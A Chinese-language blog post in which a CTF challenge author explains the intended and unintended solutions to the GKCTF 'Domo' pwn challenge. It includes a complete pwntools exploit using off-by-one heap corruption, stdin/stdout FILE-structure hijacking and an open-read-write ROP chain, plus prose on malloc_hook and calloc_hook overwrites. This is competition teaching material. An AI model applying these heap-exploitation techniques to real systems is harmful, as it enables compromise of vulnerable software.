GKCTF_pwn_Domo(出題人角度)

首先是昨天舉行的GKCTF順利舉辦,特別感謝爲我們辛苦做題目測試與運維的glzjin師傅,爲我們的比賽前前後後忙活了好幾天。然後感謝各位師傅們辛苦來打比賽。
這次比賽我出了一道pwn,後來跟師傅們討論的時候發現師傅們都是通過非預期來拿下flag的,這也讓我學到了很多…

出題人的想法

關於本次比賽的話,做題的師傅們比想象的要少,當時看到官方羣裏刷刷的漲到了1000+人,我當時挺慌的,就想出一個讓大多數師傅都覺得不錯的一道題,我的壓力其實不是特別的大,我的是個簽到題(好像不太友好)。
但是做題情況有些不盡人意,domo只有6個人出了,whali3n51師傅費盡心思設計的一個非常棒二叉樹好像沒多少人去研究(C++勸退),還有最後的女盆友多線程的題,利用也是非常簡單,但是pwn師傅們好像都沒怎麼去研究了,可能都去做寶可夢去了(寶可夢真好玩)。

關於非預期

我這個題在設計的時候其實就已經考慮到了會有很多非預期解,當我用scanf去輸入數字,還有我在程序的最後才加入的seccomp保護,都給了這個程序太多的利用方式了.
我認爲pwn本身就是一個不侷限於正常思維的一門技術,想讓大家都用一種方式去利用程序漏洞太過於勉強了,大家用不同的方式拿下flag也讓我學會了很多。
到最後我還挺興奮當時留下了好多非預期解,可能沒這幾個非預期pwn的題目出的人會更少,可能獎品都不好發出去。

預期做法

源碼
本意是想考察師傅們對與io_file的利用,本來的想法是利用off-by-one分別泄露heap_addr,libc_addr,然後控制IO_stdout_來泄露stack的地址,然後控制_IO_stdin來往返回地址寫入ORW,
但是在查看了師傅們的wp後發現,好像沒有預期解的.
這裏我解釋下預期解需要的知識點:
在IO_stdout中(泄露stack_addr)
更改_IO_write_base爲environ裏初始地址
更改_IO_write_ptr爲environ+8
在IO_stdin中(stack中寫入rop)
更改_IO_buf_base 爲返回地址
更改_IO_buf_end 爲要寫入的末地址
我就不再詳細去解釋了,有興趣的師傅們自己去調一調把…

貼下預期解wp:

# -*- coding: utf-8 -*
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('domo')
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = 0
def pwn(ip,port,debug):
	global p
	if(debug == 1):
		p = process('./domo')

	else:
		p = remote(ip,port)
	def add(size,content):
		p.sendlineafter("> ","1")
		p.sendlineafter("size:\n",str(size))
		p.sendafter("content:\n",content)
	def free(index):
		p.sendlineafter("> ","2")
		p.sendlineafter("index:\n",str(index))
	def show(index):
		p.sendlineafter("> ","3")
		p.sendlineafter("index:\n",str(index))
	def edit(index,content):
		p.sendlineafter("> ","4")
		p.sendlineafter("addr:",str(index))
		p.sendafter("num:",content)
	def add2(size,content):
		p.sendlineafter("> ","1")
		p.sendlineafter("size:",str(size))
		p.sendafter("content:",content)
	def free2(index):
		p.sendlineafter("> ","2")
		p.sendlineafter("index:",str(index))
	#-----link heap_addr
	add(0x18,"A")
	add(0x18,"A")
	free(0)
	free(1)
	add(0x18,"\x10")
	show(0)
	heap_addr=u64(p.recv(6).ljust(8,"\x00"))
	free(0)
	#--------link libc
	add(0x100,"A"*0x100)
	add(0x100,'b'*0x100)
	add(0x68,'c'*0x68)  
	add(0x68,'d'*0x68)  
	add(0x100,'e'*56+p64(0x71)+'e'*176+ p64(0x100) + p64(0x21))
	add(0x68,p64(0x21)*2) 
	free(2)
	free(3)
	free(0)
	add(0x68,"\x11"*0x60+p64(0x300))
	free(4)
	add(0x100,'flag'.ljust(8,'\x00')+'\x22'*0x58)
	show(1)
	main_arena=u64(p.recv(6).ljust(8,"\x00"))
	libcbase_addr=main_arena-0x3c4b78
	environ_addr=libcbase_addr+libc.symbols["environ"]
	stdout_hook=libcbase_addr+libc.symbols["_IO_2_1_stdout_"]
	stdin_hook=libcbase_addr+libc.symbols["_IO_2_1_stdin_"]
	_IO_file_jumps=libcbase_addr+libc.symbols["_IO_file_jumps"]
	#------link stack_addr
	payload="A"*0x100
	payload += p64(0) + p64(0x71)  
	payload+=p64(stdout_hook-0x43)
	add(0x118,payload)
	add(0x68,'a')
	payload=p64(0)*5+'\x00'*3+p64(_IO_file_jumps)+p64(0xfbad1800)+p64(stdout_hook+131)+p64(stdout_hook+131)+p64(stdout_hook+131)
	payload+=p64(environ_addr)+p64(environ_addr+8)
	print "len=",hex(len(payload))
	add(0x68,payload)
	stack_addr=u64(p.recv(6).ljust(8,'\x00'))-0xf2
	#--------Write orw to stack 
	add2(0xf8,p64(0)*11+p64(0x71))
	free2(0)
	free2(4)
	add2(0x68,p64(0)+p64(0x111))
	free2(7)
	add2(0x108,p64(0)*11+p64(0x71)+p64(stdin_hook-0x28))
	add2(0x68,'flag')
	pop_rdi_ret=libcbase_addr+libc.search(asm("pop rdi\nret")).next()
	pop_rsi_ret=libcbase_addr+libc.search(asm("pop rsi\nret")).next()
	pop_rdx_ret=libcbase_addr+libc.search(asm("pop rdx\nret")).next()
	open_addr=libcbase_addr+libc.symbols["open"]
	read_addr=libcbase_addr+libc.symbols["read"]
	puts_addr=libcbase_addr+libc.symbols["write"]
	orw=p64(pop_rdi_ret)+p64(heap_addr+0x50)+p64(pop_rsi_ret)+p64(72)+p64(open_addr)
	orw+=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(heap_addr+0x12a8)+p64(pop_rdx_ret)+p64(0x30)+p64(read_addr)
	orw+=p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_ret)+p64(heap_addr+0x12a8)+p64(pop_rdx_ret)+p64(0x100)+p64(puts_addr)
	payload=p64(0)+p64(libcbase_addr+libc.symbols["_IO_wfile_jumps"])+p64(0)+p64(0xfbad1800)+p64(0)*6+p64(stack_addr)+p64(stack_addr+0x100)
	print "heap_addr=",hex(heap_addr)
	print "len=",hex(len(payload))
	print "stack_addr=",hex(stack_addr)
	edit(stdin_hook-0x20,'\x7f')
	add2(0x68,payload)
	p.sendlineafter("> ","5\n"+orw)
	p.interactive()
if __name__ == '__main__':
	pwn('node3.buuoj.cn',25868,0)

非預期做法

第一種,更改malloc_hook爲one_gadget的地址,通過scanf(很多個字符)來實現shell。
這個非預期的話,由於我已經把malloc_hook重新extern了,通過scanf來進行malloc繞過了我的檢測。實現了shell。
第二種,seccomp裏面調用了calloc(師傅們姿勢tql),通過更改calloc_hook來進行shell。

總結

從各位師傅這裏學到了很多姿勢,這些非預期解法就不再去貼exp了,大家有興趣的自己去試一試,這些非預期都很簡單但是我還是希望大家都學一下預期的解法,防止以後遇到題是想不到其他的利用方式的時候可以嘗試用這個解法來拿到flag。
我還是那個想法,pwn題沒必要侷限與一種思路去解題,我能做到的就只能是我認爲只有一種利用思路。然後師傅們每用一種其他的利用思路都令我學習了新知識。
在最後謝謝師傅們去玩GKCTF,師傅們辛苦了(ddddhm)
如果有時間可以去玩一玩剩下的BTS與girlfriend_simulator,whali3n51師傅非常用心的設計了這兩個題,師傅們也可以學到很多東西的。
關於密碼學太簡單的問題,出密碼的是我們的HR小姐姐,剛開始學密碼,嘿嘿嘿
看到官方羣裏要暴打出題人,氣抖冷,出題人何時才能真正的站起來,但還是想說
在這裏插入圖片描述
(玩寶可夢去了)

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章